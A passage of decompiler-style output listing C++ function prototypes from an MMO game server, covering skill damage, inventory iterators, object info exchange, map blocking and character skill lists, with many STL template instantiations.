SkillEffectApply::SkillBlastEffect *_Last, SkillEffectApply::SkillBlastEffect *_Dest); std::vector >::iterator *__cdecl std::find>::iterator_SkillEffectApply::SkillBlastEffect>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, SkillEffectApply::SkillBlastEffect *_Val); std::vector >::iterator *__cdecl std::remove_copy>::iterator_std::vector>::iterator_SkillEffectApply::SkillBlastEffect>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, SkillEffectApply::SkillBlastEffect *_Val); PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__cdecl std::_Uninit_copy>::iterator_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage___std::allocator>(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall BattleObjectGroup::BattleObjectList::bol_Store(BattleObjectGroup::BattleObjectList *this, BattleObjectGroup::BattleObjectStruct *battleobject, unsigned int hittime); char __thiscall ShineObjectClass::ShinePlayer::so_mobile_ICanDamageTo(#325 *, char *); void __thiscall ShineObjectClass::ShinePlayer::sp_ChineCastCut(void *this); PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__cdecl std::_Copy_opt(std::vector >::iterator _First, std::vector >::iterator _Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, unsigned int _Count, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall List::l_Clear(List *this); SkillEffectApply::SkillBlastEffect *__cdecl std::_Uninit_copy>::iterator_SkillEffectApply::SkillBlastEffect___std::allocator>(SkillEffectApply::SkillBlastEffect *_First, SkillEffectApply::SkillBlastEffect *_Last, SkillEffectApply::SkillBlastEffect *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __cdecl std::_Uninit_fill_n>(SkillEffectApply::SkillBlastEffect *_First, unsigned int _Count, SkillEffectApply::SkillBlastEffect *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); DamageBySoul::SoulDamateElement *__thiscall DamageBySoul::SoulDamageContainer::operator__(DamageBySoul::SoulDamageContainer *this, unsigned __int16 index); void __thiscall SkillEffectApply::SkillDamageSender::sds_Finish(SkillEffectApply::SkillDamageSender *this, SkillEffectApply::SkillBlastEffect *skill); PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__thiscall std::vector>::_Ufill(std::vector > *this, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Ptr, unsigned int _Count, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val); void __thiscall BattleObjectGroup::BattleObjectList::BattleObjectList(BattleObjectGroup::BattleObjectList *this); SkillEffectApply::SkillBlastEffect *__thiscall std::vector>::_Ufill(std::vector > *this, SkillEffectApply::SkillBlastEffect *_Ptr, unsigned int _Count, SkillEffectApply::SkillBlastEffect *_Val); void __thiscall std::vector>::_vector>(std::vector,std::allocator > >::iterator,std::allocator,std::allocator >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val); void __thiscall SkillEffectApply::SkillEffectEraser::_SkillEffectEraser(SkillEffectApply::SkillEffectEraser *this); void __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_SkillCancel(SkillEffectApply::SkillBlastEffectContainer *this, #740 *caster); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, SkillEffectApply::SkillBlastEffect *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage _Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, SkillEffectApply::SkillBlastEffect *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, SkillEffectApply::SkillBlastEffect _Val); void __thiscall SkillEffectApply::SkillDamageSender::SkillDamageSender(SkillEffectApply::SkillDamageSender *this); void __thiscall SkillEffectApply::SkillDamageSender::sds_Initialize(SkillEffectApply::SkillDamageSender *this); void __thiscall SkillEffectApply::SkillBlastEffectContainer::SkillBlastEffectContainer(SkillEffectApply::SkillBlastEffectContainer *this); void __thiscall std::vector>::push_back(std::vector > *this, SkillEffectApply::SkillBlastEffect *_Val); void __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_Store(SkillEffectApply::SkillBlastEffectContainer *this, unsigned __int16 index, SkillDataBox::SkillDataIndex *sklidx, #740 *caster, #325 *targetobject, SHINE_XY_TYPE *targetlocate, int lastdamage); void __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_Routine(SkillEffectApply::SkillBlastEffectContainer *this); void __thiscall BitSet::BitSet(BitSet *this, int maxbit); void __thiscall BitSet::_BitSet(BitSet *this); void __thiscall BitSet::bs_clear(BitSet *this); bool __cdecl BlockDistribute::BlockingDistribute::bd_Inactiv(BlockDistribute::BlockingDistribute *bd); char __thiscall BlockDistribute::BlockingDistribute::bd_FindEmptyCoord(BlockDistribute::BlockingDistribute *this, SHINE_XY_TYPE *xy); void __thiscall BlockDistribute::BlockingDistribute::_BlockingDistribute(BlockDistribute::BlockingDistribute *this); void __thiscall BlockDistribute::BlockDistributeManager::BlockDistributeManager(BlockDistribute::BlockDistributeManager *this); void __thiscall BlockDistribute::BlockDistributeManager::_BlockDistributeManager(BlockDistribute::BlockDistributeManager *this); void __thiscall std::_List_nod>::_Node::__Node(std::_List_nod >::_Node *this); std::_List_nod >::_Node *__thiscall std::list>::_Buynode(std::list > *this); std::_List_nod >::_Node *__thiscall std::list>::_Buynode(std::list > *this, std::_List_nod >::_Node *_Next, std::_List_nod >::_Node *_Prev, BlockDistribute::BlockingDistribute *_Val); void __thiscall std::list>::clear(std::list > *this); void __thiscall std::list>::remove_if(std::list > *this, bool (__cdecl *_Pred)(BlockDistribute::BlockingDistribute *)); void __thiscall std::list>::_Incsize(std::list > *this, unsigned int _Count); void __thiscall BlockDistribute::BlockingDistributeList::BlockingDistributeList(BlockDistribute::BlockingDistributeList *this); void __thiscall BlockDistribute::BlockingDistributeList::_BlockingDistributeList(BlockDistribute::BlockingDistributeList *this); BlockDistribute::BlockingDistribute *__thiscall BlockDistribute::BlockingDistributeList::bdl_New(BlockDistribute::BlockingDistributeList *this); void __thiscall BlockDistribute::BlockingDistribute::bd_Initialize(BlockDistribute::BlockingDistribute *this, MapBlock::MapBlockInformation *blockinfo, int top, int bottom, int left, int right); BlockDistribute::BlockingDistribute *__thiscall BlockDistribute::BlockDistributeManager::bdm_Find(BlockDistribute::BlockDistributeManager *this, Name3 *mapid, MapBlock::MapBlockInformation *blockinfo, int top, int bottom, int left, int right); void __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::Reset(PROTO_NC_CHAR_WEDDINGDATA_ACK *this); void __thiscall BattleStat::bs_Clear(BattleStat *this); void __thiscall Observer::_Observer(Observer *this); DebugLogging *__thiscall DebugLogging::operator<<(DebugLogging *this, int num); void __thiscall MobAttackSequence::AttackElement4Mob::AttackElement4Mob(MobAttackSequence::AttackElement4Mob *this); void __thiscall MobAttackSequence::AttackElement4Mob::_AttackElement4Mob(MobAttackSequence::AttackElement4Mob *this); void __thiscall ItemLotInspector::ili_Reset(ItemLotInspector *this); void __thiscall ItemBoxIterItem::ItemBoxIterItem(ItemBoxIterItem *this, ItemBag *ib, ChargedEffectContainer *cec); void __thiscall ItemBoxIterEmpty::ItemBoxIterEmpty(ItemBoxIterEmpty *this, ItemBag *ib, ChargedEffectContainer *cec); void __thiscall ItemBoxIterIdent::ItemBoxIterIdent(ItemBoxIterIdent *this, ItemBag *ib, unsigned __int16 ident, ChargedEffectContainer *cec); void __thiscall ItemBoxIterator::_ItemBoxIterator(ItemBoxIterItemRegNo *this); char __thiscall ItemBoxIterator::ibi_Home(ItemBoxIterator *this); ItemInventoryCell *__thiscall ItemBoxIterator::ibi_Get(ItemBoxIterator *this); unsigned __int16 __thiscall ItemInventoryCell::iic_ItemIdent(ItemInform_ActionItem *this); void __thiscall InventoryLocking::InventoryCellLock::icl_IncIndex(InventoryLocking::InventoryCellLock *this); void __thiscall InventoryLocking::UnlockedInventoryIterator::UnlockedInventoryIterator(InventoryLocking::UnlockedInventoryIterator *this, int type, ItemBoxIterator *iter, InventoryLocking::InventoryCellLock *lcklst); ItemInventoryCell *__thiscall InventoryLocking::UnlockedInventoryIterator::uii_Get(InventoryLocking::UnlockedInventoryIterator *this); int __thiscall InventoryLocking::UnlockedInventoryIterator::uii_Slot(InventoryLocking::UnlockedInventoryIterator *this); void __thiscall BriefInformationCharacter::bic_HideMyIdentity(BriefInformationCharacter *this); void __thiscall BriefInformationCharacter::bic_ShowMyIdentity(BriefInformationCharacter *this, ZoneCharData *chardata, char Type, char ElementNo, unsigned __int16 MobID, unsigned int gld); void __thiscall BriefInfoDelete::BriefInfoDelete(BriefInfoDelete *this); void __thiscall BriefInformationAbstate::BriefInformationAbstate(BriefInformationAbstate *this); void __thiscall BriefInformationAbstate::bia_Send(BriefInformationAbstate *this, #325 *dest); int __thiscall Parameter::Container::c_clear(int this); int __thiscall Parameter::Container::c_StoreMob(int this, int mobdatabox); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionRoaming::mar_Init(MobTacticElement::MobActionRoaming *this, ShineObjectClass::RoamingInformation *roaminfo); signed int __stdcall ShineObjectClass::ShineObject::so_door_Build(int pmap, int x, int y, int dir, __int16 handle, __int16 mobid, int scale); void __thiscall BriefInfoExchanger::BriefInfoExchangeCharacter::BriefInfoExchangeCharacter(BriefInfoExchanger::BriefInfoExchangeCharacter *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeMob::BriefInfoExchangeMob(BriefInfoExchanger::BriefInfoExchangeMob *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeMob::bixm_Init(BriefInfoExchanger::BriefInfoExchangeMob *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeDoor::BriefInfoExchangeDoor(BriefInfoExchanger::BriefInfoExchangeDoor *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeEffect::BriefInfoExchangeEffect(BriefInfoExchanger::BriefInfoExchangeEffect *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeItem::BriefInfoExchangeItem(BriefInfoExchanger::BriefInfoExchangeItem *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeMagicField::BriefInfoExchangeMagicField(BriefInfoExchanger::BriefInfoExchangeMagicField *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeMiniHouse::BriefInfoExchangeMiniHouse(BriefInfoExchanger::BriefInfoExchangeMiniHouse *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::bixaPacketbuffer::bixaPacketbuffer(BriefInfoExchanger::BriefInfoExchangeAbstate::bixaPacketbuffer *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::_BriefInfoExchangeAbstate(BriefInfoExchanger::BriefInfoExchangeAbstate *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Init(BriefInfoExchanger::BriefInfoExchangeAbstate *this); void __thiscall CalculateBroadcastDistance::CalculateBroadcastDistance(CalculateBroadcastDistance *this); void __thiscall BriefInfoBackup::BriefInfoBackup(BriefInfoBackup *this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_FromWhere(int this, char connectfrom); char __thiscall ShineObjectClass::ShinePlayer::so_ply_GetFromWhere(int this); void __thiscall AxialListGhostBan::_AxialListGhostBan(AxialListGhostBan *this); char __thiscall AxialListGhostBan::ali_Work(AxialListGhostBan *this, #325 *, #325 *, unsigned int); CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid); void *__thiscall Observer::_vector_deleting_destructor_(Observer *this, unsigned int); char __thiscall ItemBoxIterItem::ibi_isvalid(ItemBoxIterItem *this); char __thiscall ItemBoxIterEmpty::ibi_isvalid(ItemBoxIterEmpty *this); char __thiscall ItemBoxIterIdent::ibi_isvalid(ItemBoxIterIdent *this); void __thiscall BriefInformationAbstate::bia_Fill(BriefInformationAbstate *this, #325 *myself); void __thiscall MoveManager::mm_Halt(MoveManager *this); FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineDoor::so_door_Build(ShineObjectClass::ShineDoor *this, Name3 *pmap, int x, int y, int dir, unsigned __int16 handle, unsigned __int16 mobid, int scale); void __thiscall ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_2Roumen(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_RideInitialize(void *ecx0); void __cdecl ShineObjectClass::ShineObject::so_ply_WeaponSpeedSet(); void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet(void *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeCharacter::bixc_Send(BriefInfoExchanger::BriefInfoExchangeCharacter *this, #325 *center); void __thiscall BriefInfoExchanger::BriefInfoExchangeMob::bixm_Send(BriefInfoExchanger::BriefInfoExchangeMob *this, #325 *center); void __thiscall BriefInfoExchanger::BriefInfoExchangeDoor::bixd_Send(BriefInfoExchanger::BriefInfoExchangeDoor *this, #325 *center); void __thiscall BriefInfoExchanger::BriefInfoExchangeEffect::bixe_Send(BriefInfoExchanger::BriefInfoExchangeEffect *this, #325 *center); void __thiscall BriefInfoExchanger::BriefInfoExchangeItem::bixi_Send(BriefInfoExchanger::BriefInfoExchangeItem *this, #325 *center); void __thiscall BriefInfoExchanger::BriefInfoExchangeMagicField::bixmfm_Send(BriefInfoExchanger::BriefInfoExchangeMagicField *this, #325 *center); void __thiscall BriefInfoExchanger::BriefInfoExchangeMiniHouse::bixmh_Send(BriefInfoExchanger::BriefInfoExchangeMiniHouse *this, #325 *center); void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::BriefInfoExchangeAbstate(BriefInfoExchanger::BriefInfoExchangeAbstate *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Send(BriefInfoExchanger::BriefInfoExchangeAbstate *this, #325 *center); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeBriefInfo(void *this, int equcell, int slot); unsigned int __thiscall CalculateBroadcastDistance::cbd_DistanceSquar(CalculateBroadcastDistance *this, #325 *center); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_ON_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_PW(void *this, const char *arg); int __thiscall ShineObjectClass::ShinePlayer::sp_MakeMiniHouse(_DWORD); // weak void __thiscall GameDBSession::gds_NC_ITEMDB_CREATEMUSHROOMSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_CREATEMUSHROOMFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_ConnectFromWhere(void *this); void __thiscall WorldManagerSession::wms_NC_MISC_CONNECTFROMWHERE_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_GhostBan(void *this); void __cdecl ShineObjectClass::ShineObject::so_ply_WeaponRangeSet(); void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeaponRangeSet(void *this); char __thiscall ListEraser::lid_Call(ListEraser *this, ORTable *ele, unsigned __int16 handle); MobAttackSequence::AttackElement4Mob *__thiscall MobAttackSequence::mas_Find(MobAttackSequence *this, unsigned __int16 mobid); void __thiscall ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ(void *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeCharacter::bixc_Obj2Center(BriefInfoExchanger::BriefInfoExchangeCharacter *this, #325 *, #325 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeCharacter::bixc_Exchange(BriefInfoExchanger::BriefInfoExchangeCharacter *this, #325 *, #325 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeMob::bixm_Exchange(BriefInfoExchanger::BriefInfoExchangeMob *this, #325 *, #325 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeDoor::bixd_Exchange(BriefInfoExchanger::BriefInfoExchangeDoor *this, #325 *, #325 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeEffect::bixe_Exchange(BriefInfoExchanger::BriefInfoExchangeEffect *this, #325 *, #325 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeItem::bixi_Exchange(BriefInfoExchanger::BriefInfoExchangeItem *this, #325 *, #325 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeMagicField::bixmfm_Exchange(BriefInfoExchanger::BriefInfoExchangeMagicField *this, #325 *, #325 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeMiniHouse::bixmh_Obj2Center(BriefInfoExchanger::BriefInfoExchangeMiniHouse *this, #325 *, #325 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeMiniHouse::bixmh_Exchange(BriefInfoExchanger::BriefInfoExchangeMiniHouse *this, #325 *, #325 *); char __thiscall ShineObjectClass::ShineObject::so_GatherMiniHouseInform(#325 *this, #325 *, unsigned int); void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Exchange(BriefInfoExchanger::BriefInfoExchangeAbstate *this, #325 *, #325 *); void __thiscall ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_RemoveField(void *this); void __thiscall List::l_Clear(List *this); void __thiscall List::l_Clear(List *this); void __thiscall List::l_Clear(List *this); int __stdcall std::vector>::_Ucopy(char *src, int, char *dst); // idb Observer *__cdecl std::copy(Observer *_First, Observer *_Last, Observer *_Dest); void __cdecl std::fill(Observer *_First, Observer *_Last, Observer *_Val); Observer *__cdecl std::copy_backward(Observer *_First, Observer *_Last, Observer *_Dest); void __thiscall ShineObjectClass::ShinePlayer::sp_LoginInit(void *this); char __thiscall ShineObjectClass::ShineObject::so_GatherPlayerInform(#325 *this, #325 *, unsigned int); void __cdecl std::_Uninit_fill_n>(Observer *_First, unsigned int _Count, Observer *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); int std::_Tree>_std::less_std::allocator>>>_0>>::find(...); void __thiscall std::vector>::_Destroy(std::vector > *this, Observer *_First, Observer *_Last); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); Observer *__thiscall std::vector>::_Ufill(std::vector > *this, Observer *_Ptr, unsigned int _Count, Observer *_Val); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, Observer *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, #325 *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Observer _Val); void __thiscall std::vector>::push_back(std::vector > *this); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize); char __thiscall ShineObjectClass::ShineObject::so_ExchageBriefInfo(#325 *this, #325 *, unsigned int); void __thiscall ShineObjectClass::ShineDoor::so_door_BuildComplete(ShineObjectClass::ShineDoor *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShineEffectObject::so_effect_BlastComplete(ShineObjectClass::ShineEffectObject *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShineMob::so_mob_RegenComplete(void *this, int handle, int iter); void __thiscall ShineObjectClass::ShineNPC::so_mob_RegenComplete(ShineObjectClass::ShineNPC *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShineServant::so_mob_RegenComplete(ShineObjectClass::ShineServant *this, unsigned __int16 handle); void __fastcall ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD(int sp, int netcmd, int len, __int16 handle); void __thiscall RollBackPosCallBackEvent::_RollBackPosCallBackEvent(RollBackPosCallBackEvent *this); void *__thiscall CallBackEvent::_vector_deleting_destructor_(CallBackEvent *this, unsigned int); void __thiscall RollBackPosCallBackEvent::RollBackPosCallBackEvent(RollBackPosCallBackEvent *this, Name3 *pServeName, Name3 *pClientName, int nPosX, int nPosY); void *__thiscall RollBackPosCallBackEvent::_scalar_deleting_destructor_(RollBackPosCallBackEvent *this, unsigned int); void __thiscall RollBackPosCallBackEvent::doEventRun(RollBackPosCallBackEvent *this, #325 *pObject); NPCManager::LinkInformTemplete *__thiscall RollBackPosCallBackEvent::GetLinkData(RollBackPosCallBackEvent *this); void __thiscall RollBackPosCallBackEvent::RollBackPosCallBackEvent(RollBackPosCallBackEvent *this, #325 *pTargetObject); GatherProduce::RecipeBook::ProductIndex *__thiscall GatherProduce::RecipeBook::operator__(GatherProduce::RecipeBook *this, unsigned __int16 skl); SkillDataBox::SkillDataIndex *__thiscall SkillDataBox::operator__(SkillDataBox *this, unsigned __int16 sub); bool __cdecl CharaterSkillList::CharSkill::cs_Compare_STLVer(CharaterSkillList::CharSkill *rLhw, CharaterSkillList::CharSkill *rRhw); void __thiscall PassiveMasteryVariable::PassiveMasteryVariable(PassiveMasteryVariable *this); void __thiscall CharacterPassiveList::CharacterPassiveList(CharacterPassiveList *this); unsigned int __thiscall std::vector>::size(std::vector > *this); void __cdecl std::fill(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Val); CharaterSkillList::CharSkill *__cdecl std::_Copy_opt(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); CharaterSkillList::CharSkill *__cdecl std::_Copy_backward_opt(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::swap(CharaterSkillList::CharSkill *_Left, CharaterSkillList::CharSkill *_Right); unsigned __int16 __thiscall CharaterSkillList::csl_MaximumSkill(CharaterSkillList *this, unsigned __int16 skill); int __thiscall CharaterSkillList::csl_GetDelayGroup(CharaterSkillList *this, unsigned __int16 skill, int *millisec); char __thiscall CharacterPassiveList::cpl_PreSkillCheck(CharacterPassiveList *this, #434 *, const char *); void __thiscall CharacterPassiveList::psl_Store(CharacterPassiveList *this, unsigned __int16 skill, Name4 *name); void __thiscall CharacterPassiveList::cpl_Store(CharacterPassiveList *this, PROTO_NC_CHAR_SKILL_PASSIVE_CMD *data, Name4 *name); void __thiscall CharacterPassiveList::cpl_RecalcParam(CharacterPassiveList *this, ItemBag *param); CharaterSkillList::CharSkill *__cdecl std::_Uninit_copy>::iterator_CharaterSkillList::CharSkill___std::allocator>(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Med3>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); void __cdecl std::_Push_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, int _Hole, int _Top, CharaterSkillList::CharSkill _Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); void __cdecl std::_Rotate>::iterator_int_CharaterSkillList::CharSkill>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last, int *__formal, CharaterSkillList::CharSkill *__formal); void __cdecl std::_Uninit_fill_n>(CharaterSkillList::CharSkill *_First, unsigned int _Count, CharaterSkillList::CharSkill *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Median>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); void __cdecl std::_Adjust_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, int _Hole, int _Bottom, CharaterSkillList::CharSkill _Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); void __cdecl std::_Pop_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, CharaterSkillList::CharSkill _Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *), int *__formal); int __thiscall CharaterSkillList::csl_EmpowerSummary(CharaterSkillList *this); void __thiscall CharaterSkillList::csl_EmpowerClear(CharaterSkillList *this); std::vector >::iterator *__cdecl std::_Lower_bound>::iterator_CharaterSkillList::CharSkill_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, CharaterSkillList::CharSkill *_Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *), int *__formal); std::pair >::iterator,std::vector >::iterator> *__cdecl std::_Unguarded_partition>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::pair >::iterator,std::vector >::iterator> *result, std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); void __cdecl std::_Make_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *), int *__formal, CharaterSkillList::CharSkill *__formal); CharaterSkillList::CharSkill *__thiscall std::vector>::_Ufill(std::vector > *this, CharaterSkillList::CharSkill *_Ptr, unsigned int _Count, CharaterSkillList::CharSkill *_Val); void __cdecl std::_Insertion_sort>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); CharaterSkillList::CharSkill *__thiscall CharaterSkillList::csl_GetSkillStruct(CharaterSkillList *this, unsigned __int16 skl); char __thiscall CharaterSkillList::csl_IsLearn(CharaterSkillList *this, unsigned __int16 skill); void __thiscall CharaterSkillList::csl_EmpowerStruct(CharaterSkillList *this, unsigned __int16 skill, SKILL_EMPOWER *empower); char __thiscall CharaterSkillList::csl_EmpowerAlloc(CharaterSkillList *this, PROTO_NC_SKILL_EMPOWALLOC_REQ *empalloc, SKILL_EMPOWER *empowresult); void __thiscall CharaterSkillList::csl_AddMastery(CharaterSkillList *this, #434 *, unsigned __int16, int); char __thiscall CharaterSkillList::csl_UpdateCoolTime(CharaterSkillList *this, unsigned __int16 skill, unsigned int eoct); void __thiscall CharaterSkillList::csl_SetCoolTime(CharaterSkillList *this, unsigned __int16 skill, unsigned int cooltime_milli, int delaygroupnum, unsigned int delaygroupcooltime_milli, int empowdiscount); void __cdecl std::sort_heap>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); char __thiscall CharaterSkillList::csl_PreSkillCheck(CharaterSkillList *this, #434 *, const char *); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, CharaterSkillList::CharSkill *_Val); void __cdecl std::_Sort>::iterator_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, int _Ideal, bool (__cdecl 